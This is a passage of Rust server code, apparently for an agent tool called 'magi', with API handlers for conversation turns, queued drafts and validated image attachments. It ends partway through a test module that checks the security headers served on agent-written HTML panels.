3371 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3372 .into_iter()
3373 .map(TaskView::from)
3374 .collect();
3375 Ok(Json(TalkDetailView {
3376 view: TalkView::new(talk, thinking),
3377 tasks,
3378 }))
3379 })
3380 .await
3381}
3382
3383#[derive(Debug, Default, Deserialize)]
3389#[serde(default, deny_unknown_fields)]
3390struct NewTalkTurn {
3391 text: String,
3392 attachments: Vec<String>,
3393}
3394
3395#[derive(Debug, Deserialize)]
3396#[serde(deny_unknown_fields)]
3397struct EditTalkPending {
3398 text: String,
3399 expected_text: String,
3400 expected_attachments: Vec<String>,
3401}
3402
3403#[derive(Debug, Deserialize)]
3404#[serde(deny_unknown_fields)]
3405struct ClearTalkPending {
3406 expected_text: String,
3407 expected_attachments: Vec<String>,
3408}
3409
3410async fn talk_say(
3422 State(ui): State<Arc<Ui>>,
3423 Path(id): Path<String>,
3424 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3425) -> ApiResult<(StatusCode, Json<TalkView>)> {
3426 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3427 if body.text.trim().is_empty() && body.attachments.is_empty() {
3428 return Err(ApiError::bad_request("say something"));
3429 }
3430
3431 let id = {
3432 let ui = Arc::clone(&ui);
3433 let asked = id.clone();
3434 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3435 };
3436 {
3440 let ui = Arc::clone(&ui);
3441 let id = id.clone();
3442 blocking(move || {
3443 let talk = ui.talks.get(&id)?;
3444 if !talk.status.open() {
3445 return Err(ApiError::conflict(format!(
3446 "talk {} is {} and takes no more turns",
3447 talk.short(),
3448 talk.status.as_str()
3449 )));
3450 }
3451 Ok(())
3452 })
3453 .await?;
3454 }
3455
3456 let attachments = {
3461 let ui = Arc::clone(&ui);
3462 let id = id.clone();
3463 let ids = body.attachments.clone();
3464 blocking(move || {
3465 ids.into_iter()
3466 .map(|att_id| {
3467 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3468 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3469 })
3470 })
3471 .collect::<ApiResult<Vec<talk::Attachment>>>()
3472 })
3473 .await?
3474 };
3475
3476 let start = {
3481 let ui = Arc::clone(&ui);
3482 let id = id.clone();
3483 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
3484 };
3485 let turn_guard = match start {
3486 TalkTurnStart::Claimed(turn_guard) => turn_guard,
3487 TalkTurnStart::Pending => {
3488 return Err(ApiError::conflict(
3489 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
3490 ));
3491 }
3492 TalkTurnStart::Busy => {
3493 let (tx, rx) = tokio::sync::oneshot::channel();
3509 tokio::spawn({
3510 let ui = Arc::clone(&ui);
3511 let id = id.clone();
3512 let said = body.text.clone();
3513 async move {
3514 let written = blocking({
3515 let ui = Arc::clone(&ui);
3516 let id = id.clone();
3517 move || {
3518 let mut talk = ui.talks.get(&id)?;
3519 if let Err(error) =
3520 talk::queue(&mut talk, &ui.talks, &said, attachments)
3521 {
3522 if let Ok(fresh) = ui.talks.get(&id) {
3523 if !fresh.status.open() {
3524 return Err(ApiError::conflict(format!(
3525 "talk {} is {} and takes no more turns",
3526 fresh.short(),
3527 fresh.status.as_str()
3528 )));
3529 }
3530 }
3531 return Err(ApiError::from(error));
3532 }
3533 let claim = match ui.begin_queued_talk_turn(&id)? {
3544 Some(turn_guard) => {
3545 let (cfg, _) = Config::discover(&talk.repo, None)?;
3546 Some((talk.clone(), cfg, turn_guard))
3547 }
3548 None => None,
3549 };
3550 let thinking = ui.is_thinking(&id);
3551 Ok((TalkView::new(talk, thinking), claim))
3552 }
3553 })
3554 .await;
3555 let (view, reclaimed) = match written {
3556 Ok(pair) => pair,
3557 Err(e) => {
3558 let _ = tx.send(Err(e));
3563 return;
3564 }
3565 };
3566 let _ = tx.send(Ok(view));
3569 if let Some((talk, cfg, turn_guard)) = reclaimed {
3570 let talks = ui.talks.clone();
3571 drain_loop(talk, talks, cfg, id, turn_guard).await;
3572 }
3573 }
3574 });
3575 let view = rx
3576 .await
3577 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3578 return Ok((StatusCode::ACCEPTED, Json(view)));
3579 }
3580 };
3581
3582 let (talk, cfg) = {
3583 let ui = Arc::clone(&ui);
3584 let id = id.clone();
3585 blocking(move || {
3586 let talk = ui.talks.get(&id)?;
3587 let (cfg, _) = Config::discover(&talk.repo, None)?;
3588 Ok((talk, cfg))
3589 })
3590 .await?
3591 };
3592
3593 let talks = ui.talks.clone();
3594 let (tx, rx) = tokio::sync::oneshot::channel();
3609 tokio::spawn({
3610 let ui = Arc::clone(&ui);
3611 let talks = talks.clone();
3612 let id = id.clone();
3613 let said = body.text.clone();
3614 let mut talk = talk.clone();
3615 async move {
3616 let recorded = blocking({
3617 let talks = talks.clone();
3618 move || {
3619 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
3620 if let Ok(fresh) = talks.get(&talk.id) {
3621 if !fresh.status.open() {
3622 return Err(ApiError::conflict(format!(
3623 "talk {} is {} and takes no more turns",
3624 fresh.short(),
3625 fresh.status.as_str()
3626 )));
3627 }
3628 }
3629 return Err(ApiError::from(error));
3630 }
3631 Ok((said.trim().to_owned(), talk))
3637 }
3638 })
3639 .await;
3640 let (text, mut talk) = match recorded {
3641 Ok(pair) => pair,
3642 Err(e) => {
3643 let _ = tx.send(Err(e));
3647 return;
3648 }
3649 };
3650 let queued = talk.clone();
3651 let thinking = ui.is_thinking(&id);
3652 let _ = tx.send(Ok((queued, thinking)));
3655
3656 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3657 tracing::warn!("talk {id} turn failed: {e:#}");
3661 }
3662 drain_loop(talk, talks, cfg, id, turn_guard).await;
3665 }
3666 });
3667
3668 let (queued, thinking) = rx
3669 .await
3670 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3671
3672 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
3674}
3675
3676async fn talk_pending_resume(
3680 State(ui): State<Arc<Ui>>,
3681 Path(id): Path<String>,
3682) -> ApiResult<(StatusCode, Json<TalkView>)> {
3683 let id = {
3684 let ui = Arc::clone(&ui);
3685 let asked = id.clone();
3686 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3687 };
3688 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
3689 return Err(ApiError::conflict(
3690 "a talk turn is already running; the queued draft will be handled by it",
3691 ));
3692 };
3693 let (talk, cfg) = {
3694 let ui = Arc::clone(&ui);
3695 let id = id.clone();
3696 blocking(move || {
3697 let talk = ui.talks.get(&id)?;
3698 if !talk.status.open() {
3699 return Err(ApiError::conflict(format!(
3700 "talk {} is {} and takes no more turns",
3701 talk.short(),
3702 talk.status.as_str()
3703 )));
3704 }
3705 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
3706 return Err(ApiError::conflict("there is no queued draft to resume"));
3707 }
3708 let (cfg, _) = Config::discover(&talk.repo, None)?;
3709 Ok((talk, cfg))
3710 })
3711 .await?
3712 };
3713 let view = TalkView::new(talk.clone(), true);
3714 let talks = ui.talks.clone();
3715 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3716 Ok((StatusCode::ACCEPTED, Json(view)))
3717}
3718
3719async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
3735 let live_set = Arc::clone(&turn.turns);
3736 let mut turn = Some(turn);
3744 loop {
3745 let observed = live_set
3749 .lock()
3750 .unwrap_or_else(PoisonError::into_inner)
3751 .queued
3752 .get(&id)
3753 .copied()
3754 .unwrap_or(0);
3755 let drained = blocking({
3756 let talks = talks.clone();
3757 move || {
3758 let result = talk::drain(&mut talk, &talks);
3759 Ok((talk, result))
3760 }
3761 })
3762 .await;
3763 let (next_talk, result) = match drained {
3764 Ok(drained) => drained,
3765 Err(e) => {
3766 tracing::warn!(
3767 status = %e.status,
3768 message = %e.message,
3769 "talk {id} could not start queued-text drain"
3770 );
3771 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3772 turn.take()
3773 .expect("held for the whole loop until released here")
3774 .release(&mut live);
3775 break;
3776 }
3777 };
3778 talk = next_talk;
3779 let drained = match result {
3780 Ok(Some(drained)) => drained,
3781 Ok(None) => {
3782 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3783 if live.queued.get(&id).copied().unwrap_or(0) != observed {
3784 continue;
3785 }
3786 turn.take()
3787 .expect("held for the whole loop until released here")
3788 .release(&mut live);
3789 break;
3790 }
3791 Err(e) => {
3792 tracing::warn!("talk {id} could not drain queued text: {e:#}");
3793 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3794 turn.take()
3795 .expect("held for the whole loop until released here")
3796 .release(&mut live);
3797 break;
3798 }
3799 };
3800 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
3801 tracing::warn!("talk {id} turn failed: {e:#}");
3802 }
3803 }
3804}
3805
3806async fn talk_pending_clear(
3808 State(ui): State<Arc<Ui>>,
3809 Path(id): Path<String>,
3810 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
3811) -> ApiResult<Json<TalkView>> {
3812 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3813 blocking(move || {
3814 let id = resolve_talk(&ui.talks, &id)?;
3815 let mut talk = ui.talks.get(&id)?;
3816 if !talk.status.open() {
3817 return Err(ApiError::conflict(format!(
3818 "talk {} is {} and takes no more turns",
3819 talk.short(),
3820 talk.status.as_str()
3821 )));
3822 }
3823 if !talk::clear_pending_if_matches(
3824 &mut talk,
3825 &ui.talks,
3826 &body.expected_text,
3827 &body.expected_attachments,
3828 )? {
3829 return Err(ApiError::conflict(
3830 "queued message changed; reload it before clearing",
3831 ));
3832 }
3833 let thinking = ui.is_thinking(&talk.id);
3834 Ok(Json(TalkView::new(talk, thinking)))
3835 })
3836 .await
3837}
3838
3839async fn talk_pending_edit(
3843 State(ui): State<Arc<Ui>>,
3844 Path(id): Path<String>,
3845 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
3846) -> ApiResult<Json<TalkView>> {
3847 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3848 let (view, reclaimed) = blocking({
3849 let ui = Arc::clone(&ui);
3850 move || {
3851 let id = resolve_talk(&ui.talks, &id)?;
3852 let mut talk = ui.talks.get(&id)?;
3853 if !talk.status.open() {
3854 return Err(ApiError::conflict(format!(
3855 "talk {} is {} and takes no more turns",
3856 talk.short(),
3857 talk.status.as_str()
3858 )));
3859 }
3860 if !talk::edit_pending_text(
3861 &mut talk,
3862 &ui.talks,
3863 &body.text,
3864 &body.expected_text,
3865 &body.expected_attachments,
3866 )? {
3867 return Err(ApiError::conflict(
3868 "queued message changed; reload it before editing",
3869 ));
3870 }
3871 let claim = match ui.begin_queued_talk_turn(&id)? {
3872 Some(turn_guard) => {
3873 let (cfg, _) = Config::discover(&talk.repo, None)?;
3874 Some((talk.clone(), cfg, id.clone(), turn_guard))
3875 }
3876 None => None,
3877 };
3878 let thinking = ui.is_thinking(&id);
3879 Ok((TalkView::new(talk, thinking), claim))
3880 }
3881 })
3882 .await?;
3883 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
3884 let talks = ui.talks.clone();
3885 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3886 }
3887 Ok(Json(view))
3888}
3889
3890async fn talk_close(
3892 State(ui): State<Arc<Ui>>,
3893 Path(id): Path<String>,
3894) -> ApiResult<Json<TalkView>> {
3895 blocking(move || {
3896 let id = resolve_talk(&ui.talks, &id)?;
3897 let mut talk = ui.talks.get(&id)?;
3898 talk::close(&mut talk, &ui.talks)?;
3899 let thinking = ui.is_thinking(&talk.id);
3900 Ok(Json(TalkView::new(talk, thinking)))
3901 })
3902 .await
3903}
3904
3905async fn talk_reopen(
3907 State(ui): State<Arc<Ui>>,
3908 Path(id): Path<String>,
3909) -> ApiResult<Json<TalkView>> {
3910 blocking(move || {
3911 let id = resolve_talk(&ui.talks, &id)?;
3912 let mut talk = ui.talks.get(&id)?;
3913 talk::reopen(&mut talk, &ui.talks)?;
3914 let thinking = ui.is_thinking(&talk.id);
3915 Ok(Json(TalkView::new(talk, thinking)))
3916 })
3917 .await
3918}
3919
3920async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3930 blocking(move || {
3931 let id = resolve_talk(&ui.talks, &id)?;
3932 ui.talks.remove(&id)?;
3933 Ok(StatusCode::NO_CONTENT)
3934 })
3935 .await
3936}
3937
3938fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3940 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3941}
3942
3943async fn talk_attachment_post(
3946 State(ui): State<Arc<Ui>>,
3947 Path(id): Path<String>,
3948 headers: HeaderMap,
3949 body: Bytes,
3950) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
3951 let mime = validate_attachment(&headers, &body)?;
3952 let name = filename_header(&headers);
3953 let data = body.to_vec();
3954 blocking(move || {
3955 let id = resolve_talk(&ui.talks, &id)?;
3956 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
3957 Ok((StatusCode::CREATED, Json(att)))
3958 })
3959 .await
3960}
3961
3962async fn talk_attachment_get(
3965 State(ui): State<Arc<Ui>>,
3966 Path((id, att)): Path<(String, String)>,
3967) -> ApiResult<Response> {
3968 blocking(move || {
3969 let id = resolve_talk(&ui.talks, &id)?;
3970 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
3971 return Err(ApiError::not_found(format!(
3972 "talk {id} has no attachment `{att}`"
3973 )));
3974 };
3975 Ok(attachment_response(&meta.mime, data))
3976 })
3977 .await
3978}
3979
3980fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
3991 if data.len() > ATTACHMENT_MAX_BYTES {
3992 return Err(ApiError::bad_request(format!(
3993 "attachment is {} bytes, over the {} MiB limit",
3994 data.len(),
3995 ATTACHMENT_MAX_BYTES / (1024 * 1024)
3996 ))
3997 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
3998 }
3999 if data.is_empty() {
4000 return Err(ApiError::bad_request("attachment is empty"));
4001 }
4002 let declared = declared_mime(headers)?;
4003 match sniffed_mime(data) {
4004 Some(sniffed) if sniffed == declared => Ok(declared),
4005 Some(sniffed) => Err(ApiError::bad_request(format!(
4006 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4007 ))),
4008 None => Err(ApiError::bad_request(
4009 "the file's bytes do not match any accepted image format",
4010 )),
4011 }
4012}
4013
4014fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4018 let raw = headers
4019 .get(header::CONTENT_TYPE)
4020 .and_then(|v| v.to_str().ok())
4021 .unwrap_or("")
4022 .split(';')
4023 .next()
4024 .unwrap_or("")
4025 .trim()
4026 .to_ascii_lowercase();
4027 ATTACHMENT_MIME_WHITELIST
4028 .iter()
4029 .find(|&&m| m == raw)
4030 .copied()
4031 .ok_or_else(|| {
4032 if raw == "image/svg+xml" {
4033 ApiError::bad_request(
4034 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4035 not just a picture",
4036 )
4037 } else if raw.is_empty() {
4038 ApiError::bad_request("Content-Type is required for an attachment upload")
4039 } else {
4040 ApiError::bad_request(format!(
4041 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4042 image/gif or image/webp"
4043 ))
4044 }
4045 })
4046}
4047
4048fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4051 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4052 Some("image/png")
4053 } else if data.starts_with(b"\xff\xd8\xff") {
4054 Some("image/jpeg")
4055 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4056 Some("image/gif")
4057 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4058 Some("image/webp")
4059 } else {
4060 None
4061 }
4062}
4063
4064fn filename_header(headers: &HeaderMap) -> String {
4070 headers
4071 .get(FILENAME_HEADER)
4072 .and_then(|v| v.to_str().ok())
4073 .map(str::trim)
4074 .filter(|s| !s.is_empty())
4075 .unwrap_or("attachment")
4076 .to_owned()
4077}
4078
4079fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4086 let content_type = ATTACHMENT_MIME_WHITELIST
4087 .iter()
4088 .find(|&&m| m == mime)
4089 .copied()
4090 .unwrap_or("application/octet-stream");
4091 (
4092 [
4093 (header::CONTENT_TYPE, content_type),
4094 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4095 ],
4096 body,
4097 )
4098 .into_response()
4099}
4100
4101async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4109 let repo = repo.to_path_buf();
4110 blocking(move || {
4111 let (cfg, _) = Config::discover(&repo, None)?;
4112 Ok(cfg)
4113 })
4114 .await
4115}
4116
4117fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4123 let mut hits = ids
4124 .into_iter()
4125 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4126 match (hits.next(), hits.next()) {
4127 (Some(one), None) => Ok(one),
4128 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4129 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4130 "`{prefix}` matches more than one {what}, including {a} and {b}"
4131 ))),
4132 }
4133}
4134
4135#[cfg(test)]
4136mod tests {
4137 use pretty_assertions::assert_eq;
4138 use serde_json::Value;
4139 use tempfile::TempDir;
4140 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4141
4142 use super::*;
4143 use crate::config::Config;
4144 use crate::queue::{Source, TaskStatus};
4145
4146 const SETTLE_STEPS: usize = 3_000;
4157
4158 struct Fixture {
4164 home: TempDir,
4165 addr: SocketAddr,
4166 }
4167
4168 impl Fixture {
4169 async fn start() -> Self {
4170 Self::with_loop(launch_idle).await
4171 }
4172
4173 async fn with_loop(launch: Launch) -> Self {
4175 let home = TempDir::new().expect("temp home");
4176 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4177 Self { home, addr }
4178 }
4179
4180 async fn with_repo(repo: PathBuf) -> Self {
4184 let home = TempDir::new().expect("temp home");
4185 let addr = Self::serve(home.path(), repo, launch_idle).await;
4186 Self { home, addr }
4187 }
4188
4189 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4190 let queue = Queue::at(home.join("queue"));
4191 let runs = home.join("runs");
4192 std::fs::create_dir_all(&runs).expect("runs dir");
4193 let worktrees = home.join("wt").join("magi");
4194 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4195 let ui = Ui::new(
4196 queue,
4197 Questions::at(home.join("questions")),
4198 Talks::at(home.join("talks")),
4199 runs,
4200 home.to_path_buf(),
4201 repo,
4202 )
4203 .with_worktrees_root(worktrees)
4204 .with_launch(launch);
4205 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4206 .await
4207 .expect("bind loopback");
4208 let addr = listener.local_addr().expect("local addr");
4209 tokio::spawn(async move {
4210 let _ = axum::serve(listener, ui.router()).await;
4211 });
4212 addr
4213 }
4214
4215 fn queue(&self) -> Queue {
4216 Queue::at(self.home.path().join("queue"))
4217 }
4218
4219 fn questions(&self) -> Questions {
4220 Questions::at(self.home.path().join("questions"))
4221 }
4222
4223 fn talks(&self) -> Talks {
4224 Talks::at(self.home.path().join("talks"))
4225 }
4226
4227 fn runs(&self) -> PathBuf {
4228 self.home.path().join("runs")
4229 }
4230
4231 async fn get(&self, path: &str) -> Res {
4232 request(self.addr, "GET", path, None).await
4233 }
4234
4235 async fn head(&self, path: &str) -> Res {
4240 request(self.addr, "HEAD", path, None).await
4241 }
4242
4243 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4244 request(self.addr, "POST", path, body).await
4245 }
4246
4247 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4248 request_with(self.addr, "GET", path, None, extra).await
4249 }
4250
4251 async fn delete(&self, path: &str) -> Res {
4252 request(self.addr, "DELETE", path, None).await
4253 }
4254
4255 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4257 request_bytes(self.addr, path, headers, body).await
4258 }
4259 }
4260
4261 struct Res {
4262 status: u16,
4263 headers: String,
4264 head: String,
4269 body: String,
4270 bytes: Vec<u8>,
4274 }
4275
4276 impl Res {
4277 fn json(&self) -> Value {
4278 serde_json::from_str(&self.body)
4279 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4280 }
4281
4282 fn header(&self, name: &str) -> Option<&str> {
4284 self.head.lines().find_map(|line| {
4285 let (key, value) = line.split_once(':')?;
4286 key.trim()
4287 .eq_ignore_ascii_case(name)
4288 .then(|| value.trim_start().trim_end_matches('\r'))
4289 })
4290 }
4291 }
4292
4293 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4296 request_with(addr, method, path, body, &[]).await
4297 }
4298
4299 async fn request_with(
4303 addr: SocketAddr,
4304 method: &str,
4305 path: &str,
4306 body: Option<&str>,
4307 extra: &[(&str, &str)],
4308 ) -> Res {
4309 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4310 for (name, value) in extra {
4311 head.push_str(&format!("{name}: {value}\r\n"));
4312 }
4313 if let Some(body) = body {
4314 head.push_str("Content-Type: application/json\r\n");
4315 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4316 }
4317 head.push_str("\r\n");
4318 if let Some(body) = body {
4319 head.push_str(body);
4320 }
4321 let mut socket = tokio::net::TcpStream::connect(addr)
4322 .await
4323 .expect("connect to the test server");
4324 socket
4325 .write_all(head.as_bytes())
4326 .await
4327 .expect("write request");
4328 let mut raw = Vec::new();
4329 socket.read_to_end(&mut raw).await.expect("read response");
4330 let split = raw
4333 .windows(4)
4334 .position(|w| w == b"\r\n\r\n")
4335 .expect("a header block");
4336 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4337 let bytes = raw[split + 4..].to_vec();
4338 let status = head
4339 .lines()
4340 .next()
4341 .and_then(|line| line.split_whitespace().nth(1))
4342 .and_then(|code| code.parse().ok())
4343 .expect("a status line");
4344 Res {
4345 status,
4346 headers: head.to_lowercase(),
4347 head,
4348 body: String::from_utf8_lossy(&bytes).into_owned(),
4349 bytes,
4350 }
4351 }
4352
4353 async fn request_bytes(
4359 addr: SocketAddr,
4360 path: &str,
4361 headers: &[(&str, &str)],
4362 body: &[u8],
4363 ) -> Res {
4364 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4365 for (name, value) in headers {
4366 head.push_str(&format!("{name}: {value}\r\n"));
4367 }
4368 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4369 let mut socket = tokio::net::TcpStream::connect(addr)
4370 .await
4371 .expect("connect to the test server");
4372 socket
4373 .write_all(head.as_bytes())
4374 .await
4375 .expect("write request head");
4376 socket.write_all(body).await.expect("write request body");
4377 let mut raw = Vec::new();
4378 socket.read_to_end(&mut raw).await.expect("read response");
4379 let split = raw
4380 .windows(4)
4381 .position(|w| w == b"\r\n\r\n")
4382 .expect("a header block");
4383 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4384 let bytes = raw[split + 4..].to_vec();
4385 let status = head
4386 .lines()
4387 .next()
4388 .and_then(|line| line.split_whitespace().nth(1))
4389 .and_then(|code| code.parse().ok())
4390 .expect("a status line");
4391 Res {
4392 status,
4393 headers: head.to_lowercase(),
4394 head,
4395 body: String::from_utf8_lossy(&bytes).into_owned(),
4396 bytes,
4397 }
4398 }
4399
4400 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4402 let mut state = RunState::new(
4403 PathBuf::from("/repo/magi"),
4404 "main".to_owned(),
4405 "0123456789abcdef".to_owned(),
4406 "Add a web UI\n\nMobile first.".to_owned(),
4407 Config::default(),
4408 );
4409 state.id = id.to_owned();
4410 state.status = status;
4411 let dir = runs.join(id);
4412 std::fs::create_dir_all(&dir).expect("run dir");
4413 std::fs::write(
4414 dir.join("run.json"),
4415 serde_json::to_string_pretty(&state).expect("serialize run"),
4416 )
4417 .expect("write run.json");
4418 }
4419
4420 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4421 let body = serde_json::json!({
4422 "schema": 1,
4423 "pid": 4242,
4424 "started_at": Timestamp::now().to_string(),
4425 "updated_at": updated_at.to_string(),
4426 "idle": false,
4427 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4428 "completed": 7,
4429 "polls": 143,
4430 });
4431 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4432 }
4433
4434 fn launch_idle(
4444 _opts: daemon::Opts,
4445 stop: daemon::Stop,
4446 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4447 Box::pin(async move {
4448 while !stop.stopped() {
4449 tokio::time::sleep(Duration::from_millis(2)).await;
4450 }
4451 Ok(())
4452 })
4453 }
4454
4455 fn launch_broken(
4458 _opts: daemon::Opts,
4459 _stop: daemon::Stop,
4460 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4461 Box::pin(async {
4462 Err(anyhow::anyhow!(
4463 "publish the daemon status file: read-only file system"
4464 ))
4465 })
4466 }
4467
4468 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4475 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4476
4477 fn launch_knocking_on_the_way_out(
4484 _opts: daemon::Opts,
4485 stop: daemon::Stop,
4486 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4487 Box::pin(async move {
4488 while !stop.stopped() {
4489 tokio::time::sleep(Duration::from_millis(2)).await;
4490 }
4491 let addr = PARK_KNOCK
4492 .lock()
4493 .expect("park knock")
4494 .expect("the test set an address");
4495 let heard = request(addr, "GET", "/api/health", None).await.status;
4496 *PARK_HEARD.lock().expect("park heard") = Some(heard);
4497 Ok(())
4498 })
4499 }
4500
4501 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4510 for _ in 0..SETTLE_STEPS {
4511 let view = fx.get("/api/loop").await.json();
4512 if want(&view) {
4513 return view;
4514 }
4515 tokio::time::sleep(Duration::from_millis(10)).await;
4516 }
4517 panic!(
4518 "the loop never settled: {}",
4519 fx.get("/api/loop").await.json()
4520 );
4521 }
4522
4523 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4525 let store = fx.questions();
4526 let mut q = Question::new(
4527 "20260902-000000-beef".to_owned(),
4528 "implement".to_owned(),
4529 "impl-A".to_owned(),
4530 summary.to_owned(),
4531 "because it matters".to_owned(),
4532 choices.iter().map(|c| (*c).to_owned()).collect(),
4533 );
4534 store.put(&mut q).expect("put question");
4535 q.id
4536 }
4537
4538 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4544 let store = fx.questions();
4545 let mut q = Question::new(
4546 "20260902-000000-beef".to_owned(),
4547 "land".to_owned(),
4548 "fix".to_owned(),
4549 "Merge this?".to_owned(),
4550 "the diff is in the panel".to_owned(),
4551 vec!["merge".to_owned(), "hold".to_owned()],
4552 );
4553 let staging = fx.home.path().join("staging");
4556 std::fs::create_dir_all(&staging).expect("staging dir");
4557 let sources: Vec<PathBuf> = assets
4558 .iter()
4559 .map(|(name, bytes)| {
4560 let path = staging.join(name);
4561 std::fs::write(&path, bytes).expect("write staged asset");
4562 path
4563 })
4564 .collect();
4565 store
4566 .put_panel(&mut q, html, &sources)
4567 .expect("write the panel");
4568 store.put(&mut q).expect("put question");
4569 q.id
4570 }
4571
4572 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4581 let store = fx.talks();
4582 std::fs::create_dir_all(store.root()).expect("talks dir");
4583 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4584 .expect("serialize a seat");
4585 let body = serde_json::json!({
4586 "schema": 1,
4587 "id": id,
4588 "repo": "/repo/magi",
4589 "agent": "mock",
4590 "status": status,
4591 "turns": [],
4592 "created_at": Timestamp::now().to_string(),
4593 "updated_at": Timestamp::now().to_string(),
4594 "seat": seat,
4595 });
4596 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4597 store.get(id).expect("the seeded talk has to be readable");
4598 id.to_owned()
4599 }
4600
4601 #[tokio::test]
4602 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4603 let fx = Fixture::start().await;
4604 let id = panel(
4605 &fx,
4606 "<h1>Merge?</h1><img src=\"diff.svg\">",
4607 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4608 );
4609
4610 for path in [
4611 format!("/api/questions/{id}/panel"),
4612 format!("/api/questions/{id}/asset/diff.svg"),
4613 ] {
4614 let res = fx.get(&path).await;
4615 assert_eq!(res.status, 200, "{path}: {}", res.body);
4616 assert_eq!(
4622 res.header("content-security-policy"),
4623 Some(
4624 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4625 font-src data:; base-uri 'none'; form-action 'none'; \
4626 frame-ancestors 'self'"
4627 ),
4628 "{path} is the only thing between a hostile panel and the tailnet"
4629 );
4630 assert_eq!(
4631 res.header("x-content-type-options"),
4632 Some("nosniff"),
4633 "{path}: a browser must not re-decide the type we sent"
4634 );
4635 assert_eq!(
4636 res.header("referrer-policy"),
4637 Some("no-referrer"),
4638 "{path}: a panel must not leak the question id off the machine"
4639 );
4640
4641 let pre = fx.head(&path).await;
